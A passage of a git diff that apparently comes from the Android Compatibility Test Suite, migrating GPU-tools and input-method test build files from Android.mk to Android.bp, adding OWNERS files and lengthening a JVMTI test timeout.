+ srcs: ["jni/nullLayer.cpp"],
+ cflags: [
+ "-std=c++14",
+ "-Wall",
+ "-Werror",
+ "-fvisibility=hidden",
+ "-DLAYERNAME=C",
+ ],
+ shared_libs: [
+ "libandroid",
+ "libvulkan",
+ "liblog",
+ ],
+ stl: "c++_shared",
+ sdk_version: "current",
+}
+
+android_test_helper_app {
+ name: "CtsGpuToolsRootlessGpuDebugApp-LAYERS",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: ["cts"],
+ compile_multilib: "both",
+ jni_libs: [
+ "libVkLayer_nullLayerA",
+ "libVkLayer_nullLayerB",
+ "libVkLayer_nullLayerC",
+ ],
+ use_embedded_native_libs: false,
+ stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/layers/Android.mk b/hostsidetests/gputools/layers/Android.mk
deleted file mode 100644
index eaa68ef..0000000
--- a/hostsidetests/gputools/layers/Android.mk
+++ /dev/null
@@ -1,73 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerA
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="A"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerB
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="B"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerC
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="C"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-LAYERS
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libVkLayer_nullLayerA \
-libVkLayer_nullLayerB \
-libVkLayer_nullLayerC
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/inputmethodservice/Android.mk b/hostsidetests/inputmethodservice/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/hostsidetests/inputmethodservice/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/common/Android.bp b/hostsidetests/inputmethodservice/common/Android.bp
new file mode 100644
index 0000000..feb59a3
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the common library for use device-side
+java_test {
+ name: "CtsInputMethodServiceCommon",
+ srcs: ["src/**/*.java"],
+ libs: ["junit"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ sdk_version: "test_current",
+}
+
+// Build the common library for use host-side
+java_test_host {
+ name: "cts-inputmethodservice-common-host",
+ srcs: ["src/**/*.java"],
+ libs: ["junit"],
+}
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
deleted file mode 100644
index a118474..0000000
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-###############################################################################
-# Build the common library for use device-side
-###############################################################################
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsInputMethodServiceCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-###############################################################################
-# Build the common library for use host-side
-###############################################################################
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := cts-inputmethodservice-common-host
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/Android.mk b/hostsidetests/inputmethodservice/deviceside/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/hostsidetests/inputmethodservice/deviceside/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
new file mode 100644
index 0000000..7139b91
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsInputMethodServiceDeviceTests",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: ["android.test.runner.stubs"],
+ static_libs: [
+ "androidx.test.rules",
+ "hamcrest",
+ "hamcrest-library",
+ "ub-uiautomator",
+ "CtsInputMethodServiceCommon",
+ "CtsInputMethodServiceLib",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ sdk_version: "test_current",
+ min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
deleted file mode 100644
index 1a57e27..0000000
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_JAVA_LIBRARY := android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- hamcrest hamcrest-library \
- ub-uiautomator \
- CtsInputMethodServiceCommon \
- CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
new file mode 100644
index 0000000..fce63b4
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "EditTextApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ static_libs: ["CtsInputMethodServiceCommon"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ sdk_version: "test_current",
+ min_sdk_version: "28",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
deleted file mode 100644
index a089809..0000000
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsInputMethodServiceCommon
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := EditTextApp
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 28
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
new file mode 100644
index 0000000..765fe2d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsInputMethod1",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ static_libs: [
+ "CtsInputMethodServiceCommon",
+ "CtsInputMethodServiceLib",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ sdk_version: "test_current",
+ min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
deleted file mode 100644
index 3b98a87..0000000
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsInputMethodServiceCommon \
- CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethod1
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
new file mode 100644
index 0000000..e8f865f
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsInputMethod2",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ static_libs: [
+ "CtsInputMethodServiceCommon",
+ "CtsInputMethodServiceLib",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ sdk_version: "test_current",
+ min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
deleted file mode 100644
index 7b9ebeb..0000000
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsInputMethodServiceCommon \
- CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethod2
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.bp b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
new file mode 100644
index 0000000..cecc584
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+ name: "CtsInputMethodServiceLib",
+ srcs: ["src/**/*.java"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "CtsInputMethodServiceCommon",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
deleted file mode 100644
index 9a99bdc..0000000
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.annotation_annotation \
- CtsInputMethodServiceCommon
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsInputMethodServiceLib
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.bp b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
new file mode 100644
index 0000000..1f6a7d4
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsInputMethodServiceEventProvider",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ static_libs: [
+ "CtsInputMethodServiceCommon",
+ "CtsInputMethodServiceLib",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ sdk_version: "test_current",
+ min_sdk_version: "19",
+
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
deleted file mode 100644
index 365f792..0000000
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := \
- CtsInputMethodServiceCommon \
- CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 19
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/hostside/Android.bp b/hostsidetests/inputmethodservice/hostside/Android.bp
new file mode 100644
index 0000000..5e99fdf
--- /dev/null
+++ b/hostsidetests/inputmethodservice/hostside/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsInputMethodServiceHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ libs: [
+ "compatibility-host-util",
+ "cts-tradefed",
+ "tradefed",
+ ],
+ static_libs: ["cts-inputmethodservice-common-host"],
+}
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
deleted file mode 100644
index 2cfca0e..0000000
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsInputMethodServiceHostTestCases
-
-LOCAL_JAVA_LIBRARIES := \
- compatibility-host-util \
- cts-tradefed \
- tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-inputmethodservice-common-host
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jdwpsecurity/OWNERS b/hostsidetests/jdwpsecurity/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/hostsidetests/jdwpsecurity/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/hostsidetests/jdwptunnel/OWNERS b/hostsidetests/jdwptunnel/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/hostsidetests/jdwptunnel/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/hostsidetests/jvmti/allocation-tracking/OWNERS b/hostsidetests/jvmti/allocation-tracking/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/attaching/OWNERS b/hostsidetests/jvmti/attaching/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index 6fc9a1b..0fee0ec 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -120,7 +120,7 @@
RemoteAndroidTestRunner runner = new RemoteAndroidTestRunner(mTestPackageName, RUNNER,
device.getIDevice());
// set a max deadline limit to avoid hanging forever
- runner.setMaxTimeToOutputResponse(2, TimeUnit.MINUTES);
+ runner.setMaxTimeToOutputResponse(5, TimeUnit.MINUTES);
AttachAgent aa = new AttachAgent(device, mTestPackageName, mTestApk);
aa.prepare();
diff --git a/hostsidetests/jvmti/redefining/OWNERS b/hostsidetests/jvmti/redefining/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/jvmti/run-tests/test-1900/OWNERS b/hostsidetests/jvmti/run-tests/test-1900/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-1900/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
